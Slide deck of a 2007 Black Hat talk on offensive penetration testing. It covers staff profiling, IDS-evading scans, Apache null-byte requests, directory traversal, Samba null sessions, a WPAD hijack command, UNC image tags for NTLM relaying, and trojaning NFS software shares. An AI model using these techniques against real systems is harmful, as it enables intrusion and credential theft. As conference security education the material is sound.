Tactical Exploitation

“the other way to pen-test”

hdm / valsmith

Black Hat USA 2007
who are we?

H D Moore <hdm [at] metasploit.com>

BreakingPoint Systems || metasploit

Valsmith <valsmith [at] metasploit.com>

Offensive Computing || metasploit
why listen?

- A different approach to pwning
- Lots of fun techniques, new tools
- Real-world tested ;-}
what do we cover?

- Target profiling
- Discovery tools and techniques
- Exploitation
- Getting you remote access
the tactical approach

- Vulnerabilities are transient
- Target the applications
- Target the processes
- Target the people
- Target the trusts

You WILL gain access.
the tactical approach

- Crackers are opportunists
- Expand the scope of your tests
- Everything is fair game

- What you don't test...
  - Someone else will!
the tactical approach

- Hacking is not about exploits
- The target is the data, not r00t
- Hacking is using what you have
  - Passwords, trust relationships
  - Service hijacking, auth tickets
personnel discovery

• Security is a people problem
• People write your software
• People secure your network

• Identify the meatware first
personnel discovery

• Identifying the meatware
• Google
• Newsgroups
• SensePost tools
• Evolution from Paterva.com
personnel discovery

• These tools give us
  • Full names, usernames, email
  • Employment history
  • Phone numbers
  • Personal sites
personnel discovery

- Started with company and jobs
- Found online personnel directory
- Found people with access to data
- Found resumes, email addresses
- Email name = username = target
personnel discovery

- Joe Targetstein
- Works as lead engineer in semiconductor department
- Email address joet@company.com
- Old newsgroup postings show joet@joesbox.company.com
- Now we have username and a host to target to go after semiconductor information
network discovery

- Identify your target assets
- Find unknown networks
- Find third-party hosts

- Dozens of great tools...
- Let's stick to the less-known ones
network discovery

• The overused old busted
• Whois, Google, zone transfers
• Reverse DNS lookups
network discovery

- The *shiny new* hotness
- Other people's services
  - CentralOps.net, DigitalPoint.com
  - DomainTools.com
  - Paterva.com
network discovery

- DomainTools vs Defcon.org

1. Darktangent.net 0 listings
2. Defcon.net 0 listings
3. Defcon.org 1 listings
4. Hackerjeopardy.com 0 listings
5. Hackerpoetry.com 0 listings
6. Thedarktangent.com 0 listings
7. Thedarktangent.net 0 listings
8. Thedarktangent.org 0 listings
network discovery

• DomainTools vs Defcon.net
  1. 0day.com  0 listings
  2. 0day.net  0 listings
  3. Darktangent.org  0 listings

[ snipped personal domains ]

• 12. Securityzen.com  0 listings
• 13. Zeroday.com   0 listings
network discovery

• What does this get us?
  • Proxied DNS probes, transfers
  • List of virtual hosts for each IP
  • Port scans, traceroutes, etc
• Gold mine of related info
network discovery

- Active discovery techniques
  - Trigger SMTP bounces
  - Brute force HTTP vhosts
  - Watch outbound DNS
  - Just email the users!
network discovery

Received: from unknown (HELO gateway1.rsasecurity.com) (216.162.240.250)
by [censored] with SMTP; 28 Jun 2007 15:11:29 -0500
Received: from hyperion.rsasecurity.com by gateway1.rsasecurity.com
via smtpd (for [censored]. [xxx.xxx.xxx.xxx]) with SMTP; Thu, 28 Jun 2007 16:11:29 -0400
by hyperion.na.rsa.net (MOS 3.8.3-GA)
To: user[@censored]
Subject: Returned mail: User unknown (from [10.100.8.152])
application discovery

• If the network is the toast...
• Applications are the butter.
• Each app is an entry point
• Finding these apps is the trick
application discovery

- Tons of great tools
  - Nmap, Amap, Nikto, Nessus
- Commercial tools
application discovery

- Slow and steady wins the deface
- Scan for specific port, one port only
- IDS/IPS can't handle slow scans
  
  Ex. nmap -sS -P0 -T 0 -p 1433 ips
application discovery

• Example target had custom IDS to detect large # of host connections
• Standard nmap lit up IDS like XMAS
• One port slow scan never detected
• Know OS based on 1 port (139/22)
application discovery

- Target had internal app for software licensing / distribution
- ~10,000 nodes had app installed
- A couple of hours with IDA/Ollydbg showed static Admin password in app's memory
- All accessible nodes owned, 0 exploits used
application discovery

• Web Application Attack and Audit Framework
  • W3AF: “Metasploit for the web”
• Metasploit 3 scanning modules
  • Scanning mixin
application discovery

DEMO
client app discovery

• Client applications are fun!
• Almost always exploitable
• Easy to fingerprint remotely
• Your last-chance entrance
client app discovery

- Common probe methods
- Mail links to the targets
- Review exposed web logs
- Send MDNs to specific victims
- Abuse all, everyone, team aliases
process discovery

- Track what your target does
- Activity via IP ID counters
- Last-modified headers
- FTP server statistics
process discovery

- Look for patterns of activity
- Large IP ID increments at night
- FTP stats at certain times
  - Microsoft FTP SITE STATS
- Web pages being uploaded
  - Check timestamps on images
process discovery

• Existing tools?
  • None, really...

• Easy to script
  • Use “hping” for IP ID tracking
  • Use netcat for SITE STATS
process discovery

ftp.microsoft.com [node]
SITE STATS / Uptime: 47 days
process discovery
Traffic Monitor

Packets Per Second

4000
3000
2000
1000
0

<< backups run at midnight

USA people wake up >>

IP ID Monitoring / HACKER.COM
15 Minute Break

• Come back for the exploits!
re-introduction

• In our last session...
  • Discovery techniques and tools

• In this session...
  • Compromising systems!
external network

- The crunchy candy shell
- Exposed hosts and services
- VPN and proxy services
- Client-initiated sessions
attacking ftp transfers

• Active FTP transfers
  • Clients often expose data ports
  • NAT + Active FTP = Firewall Hole

• Passive FTP transfers
  • Data port hijacking: DoS at least
  • `pasvagg.pl` still works just fine :-(
attacking web servers

- Brute force vhosts, files, dirs
  - http://www.cray.com/old/
- Source control files left in root
  - http://www.zachsong.com/CVS/Entries
attacking web servers

- Apache Reverse Proxying
  
  GET /%00 HTTP/1.1
  Host: realhost.com

- Apache Dynamic Virtual Hosting
  
  GET / HTTP/1.1
  Host: %00/
load balancers

- Cause load balancer to “leak” internal IP information
- Use TCP half-close HTTP request
- Alteon ACEdirector good example
load balancers

- ACEdirector mishandles TCP half-close requests
- Behavior can be used as signature for existence of Load Balancer
- Direct packets from real webserver forwarded back to client (with IP)
cgi case study

- Web Host with 1000's of sites
- Had demo CGI for customers
- CGI had directory traversal
  - www.host.com/cgi-bin/vuln.pl/../../cgi
- CGI executable + writable on every directory
- Common on web hosts!
cgi case study

- Enumerated:
  - Usernames
  -Dirs
  -Backup files
  -Other CGI scripts
  -VHOSTS
cgi case study

• Target happened to run solaris
  • Solaris treats dirs as files
  • `cat /dirname = ls /dirname`
  • `http://www.host.com/cgi-bin/vuln.cgi/../../../../dirname%00.html`
cgi case study

• Found CGI script names
• Googled for vulns
• Gained shell 100's of different ways
• Owned due to variety of layered configuration issues
attacking dns servers

- Brute force host names
- XID sequence analysis
  - BIND 9: PRNG / Birthday
  - VxWorks: XID = XID + 1
- Return extra answers in response
authentication relays

- SMB/CIFS clients are fun!
  - Steal hashes, redirect, MITM
- NTLM relay between protocols
  - SMB/HTTP/SMTP/POP3/IMAP
- More on this later...
Las Vegas – August 2007

social engineering

• Give away free toys
  • CDROMs, USB keys, N800s
• Replace UPS with OpenWRT
  • Cheap and easy to make
internal network

- The soft chewy center
- This is the fun part :)
- Easy to trick clients
netbios services

• NetBIOS names are magic
• WPAD
• CALICENSE
dns services

- Microsoft DNS + DHCP = fun
- Inject host names into DNS
- Hijack the entire network
  - dhcpcd -h WPAD -i eth0
Hijacking NTLM

• Quickly own all local workstations
• Gain access to mail and web sites
• A new twist on “smbrelay2.cpp”
  • Yes, it was released in 2001.
• Now implemented in Metasploit 3
Hijacking NTLM

1. MITM all outbound web traffic
   • Cache poison the “WPAD” host
   • Plain old ARP spoofing
   • DHCP / NetBIOS + “WPAD”
   • Run a rogue WiFi access point
   • Manipulate TOR connections
Hijacking NTLM

2. Redirect HTTP requests to “intranet”
   • WPAD + SOCKS server
   • SQUID + transparent proxying
   • 302 Redirect
Hijacking NTLM

3. Return HTML page with UNC link

• IE 5/6/7: <img src="\ip\share\i.jpg">
• Firefox: mozicon-url:file:///ip/share/i.jpg
• Third-party plugins:
  • Adobe PDF Viewer
  • Windows Media Player
  • Microsoft Office
Hijacking NTLM

4. Accept SMB connection and relay
   • Accept connection from the client
   • Connect to the target server (or client)
   • Ask target for Challenge Key
   • Provide this Key to the client
   • Allow the client to authenticate
Hijacking NTLM

5. Executing remote code
   • Disconnect the client
   • Use authenticated session
     • ADMIN$ + Service Control Manager
     • Access data, call RPC routines, etc
   • Access the remote registry
Hijacking NTLM

DEMO
file servers

- "NAS appliances are safe and secure"
- Don't worry, the vendor sure doesn't
- Unpatched Samba daemons
  - Snap, TeraServer, OS X, etc.

- Inconsistent file permissions
  - AFP vs NFS vs SMB
samba is awesome

- 1999 called, want their bugs back
- Remember those scary “NULL Sessions”
- Samba ENUM / SID2USR user listing
- Massive information leaks via DCERPC
- Shares, Users, Policies
- Brute force accounts (no lockout)
smb case study

- Old bugs back to haunt new boxes
- Found OS X Box running SMB
  - User sent mail touting OS X sec
- Previous scans had found vulns
- User: “false positive, its OS X”
- Us: “Owned”
smb case study

• Performed Null Session
  • net use \osx\smb\ipc$ "" /user:"

• Enumerated users and shares

• Brute forced several user accounts

• Got shell, escalated to root

• User: “but . . but . . its OS X!”
samba vs metasploit

- Metasploit modules for Samba
  - Linux (vSyscall + Targets)
  - Mac OS X (PPC/x86)
  - Solaris (SPARC,x86)
- Auxiliary PoCs
nfs services

• NFS is your friend
  • Don't forget its easy cousin NIS

• Scan for port 111 / 2049
  • `showmount -e` / `showmount -a`
  • What's exported, whose mounting?
nfs services

• Exported NFS home directories

• Important target!

• If you get control
  • Own every node that mounts it
nfs services

- If you are root on home server
  - Become anyone (NIS/su)
  - Harvest *known_hosts* files
  - Harvest *allowed_keys*
  - Modify *.login*, etc. + insert trojans
nfs services

- Software distro servers are fun!
- All nodes access over NFS
- Write to software distro directories
- Trojan every node at once
- No exploits needed!
file services

• Example: all nodes were diskless / patched
• Clients got software from NFS server
  • Using trust hijacking explained later
  • Inserted trojaned gnu binaries
• 1000's of nodes sent us shells
trust relationships

• The target is unavailable to YOU
  • Not to another host you can reach...

• Networks may not trust everyone
  • But they often trust each other :)
trusts

- Deal with firewalls/TCP wrappers/ACLs
- Find a node that is accepted and own it
- People wrapper Unix and leave Windows open
- Hack the Windows box and port forward past wrappers
trusts

- Example: Mixed network with Unix wrapperd
  - Target Solaris homedir server
  - Had auth credentials but couldn't reach port 22
- Found 1 vulnerable win box, owned / installed portforward to homedir port 22
Hijacking SSH

- Idea is to abuse legitimate users access over SSH
- If user can access other systems, why can't you? (even without users password)
- One time passwords? No problem!
- Intel gathering
Hijacking SSH

- Available tools
  - Metalstorm ssh hijacking
  - Trojaned ssh clients
  - SSH master modes
- Don't forget TTY hijacking
  - Appcap
  - TTYWatcher
- Who suspects a dead SSH session?
Hijacking SSH

DEMO
Hijacking Kerberos

• Kerberos is great for one time authentication even for hackers

• Idea is to become a user and hijack kerberos tickets

• Gain access to other trusted nodes
Hijacking Kerberos

DEMO
Conclusion

• Compromise a “secure” network
• Determination + creativity wins
• Tools cannot replace talent.